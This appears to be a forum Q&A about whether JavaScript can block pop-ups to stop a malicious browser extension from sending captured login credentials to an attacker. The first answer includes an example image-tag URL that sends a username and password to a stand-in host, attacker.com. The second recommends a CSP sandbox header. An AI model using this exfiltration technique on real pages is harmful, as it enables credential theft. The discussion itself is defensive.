Block Pop Up window using Javascript code

Question

When a user enters his credentials in the login form of a web application, the credentials can be hacked through a malicious extension (that the user has installed). Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web. However, another way of passing the credentials to the attacker's server is through a pop up window where the captured details can be parsed in the URL and passed to the attacker's server. The window can be closed immediately. Even though the possibility of such an attack is very minimal and can be easily seen by the user, it cannot be denied that it is not impossible. On an average, it just takes 1.5 seconds to open and close a pop up where the credentials can be passed to the attacker. And if suppose the pop up window is very small and is configured to launch at a side of the screen, the user will be having no idea about this attack at all.

But, if the web pages had a method to prevent the pop ups from appearing, this attack can be prevented. So, I would like to know whether there are possibilities to block the Pop-Ups from appearing using Javascript.

Answer 1

No, it is not possible to prevent popups from within Javascript.

Now, suppose the malicious extension wants to pass the hacked credentials to the attacker's server, it is prevented through the Same-origin policy of the web.

This is not correct. Sending data cross-origin is always possible. For example, you can put an image tag on the page with Javascript that has an URL like http://attacker.com/?username=foo&password=hunter2.

In general, browser extensions have more permissions and privileges than Javascript running on a page, so there is not much you can do from the page to protect against malicious extensions.

Answer 2

A secure way to block popups is to specify a sandbox using the content security policy header.

Content-Security-Policy: sandbox allow-scripts;

In sandbox mode a lot of functionality is disabled, including popups:

allow-popups: Allows popups (like from window.open, target="_blank", showModalDialog). If this keyword is not used, that functionality will silently fail.